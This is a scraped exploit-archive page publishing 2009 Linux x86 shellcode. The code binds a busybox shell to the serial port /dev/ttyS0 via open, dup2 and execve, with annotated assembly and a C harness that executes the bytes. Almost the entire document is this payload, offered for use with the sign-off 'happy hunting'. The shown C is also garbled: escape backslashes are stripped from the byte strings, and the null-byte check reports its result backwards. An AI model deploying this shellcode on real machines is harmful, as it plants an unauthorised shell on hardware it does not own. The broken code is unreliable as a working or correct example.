[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Serial port shell binding, busybox Launching shellcode
# Published : 2009-04-30
# Author : phar
# Previous Title : linux/x86-64 setuid(0) + execve(/bin/sh) 49 bytes
# Next Title : Linux i686 - pacman -S <package> (default package: backdoor) - 64 bytes
/*
General:
Serial port shell binding, busybox launching shellcode.. yey!
Specific:
*really* wish i could tell you what i needed this for.. but meh..
this will bind a busybox sh shell to /dev/ttyS0, the shellcode
does not alter the baudrate settings.. 9600 is the default, but its easy enough to cycle though if were
at a different baud rate.
...damn how long has it been since i posted one of these?
happy hunting
-phar
@
stonedcoder
mdavis .
@ org
ioactive
.
com
main:
31 d2 xor %edx,%edx
31 c0 xor %eax,%eax
6a 02 push $0x2 #flags O_RDW
59 pop %ecx
66 b8 53 30 mov $0x3053,%ax
50 push %eax
68 2f 74 74 79 push $0x7974742f #port device
68 2f 64 65 76 push $0x7665642f
89 e3 mov %esp,%ebx
6a 05 push $0x5
58 pop %eax
89 c6 mov %eax,%esi
cd 80 int $0x80 #open
89 c6 mov %eax,%esi
31 c9 xor %ecx,%ecx
dup2_loop: #set the serial port as our console
89 f3 mov %esi,%ebx
6a 3f push $0x3f
58 pop %eax
cd 80 int $0x80 #dup2
41 inc %ecx
80 f9 03 cmp $0x3,%cl
75 f3 jne 80483a7 dup2_loop
66 b8 73 68 mov $0x6873,%ax
50 push %eax
89 e1 mov %esp,%ecx
52 push %edx
51 push %ecx
89 e1 mov %esp,%ecx
52 push %edx
68 79 62 6f 78 push $0x786f6279 #/bin/busybox
68 2f 62 75 73 push $0x7375622f
68 2f 62 69 6e push $0x6e69622f
89 e3 mov %esp,%ebx
6a 0b push $0xb
58 pop %eax
cd 80 int $0x80 #execve
*/
int main() {
char shellcode[] = {
"x31xd2x31xc0x6ax02x59x66xb8x53x30x50x68x2fx74x74"
"x79x68x2fx64x65x76x89xe3x6ax05x58x89xc6xcdx80x89"
"xc6x31xc9x89xf3x6ax3fx58xcdx80x41x80xf9x03x75xf3"
"x66xb8x73x68x50x89xe1x52x51x89xe1x52x68x79x62x6f"
"x78x68x2fx62x75x73x68x2fx62x69x6ex89xe3x6ax0bx58"
"xcdx80"};
char cnull = 0;
printf("shellcode_size: %un", sizeof(shellcode));
printf("contains nulls: ");
if(!memmem(shellcode,sizeof(shellcode),&cnull,1)){
printf("yesn");
}else{
printf("non");
}
(*(void(*)()) shellcode)();
}
// www.Syue.com [2009-04-30]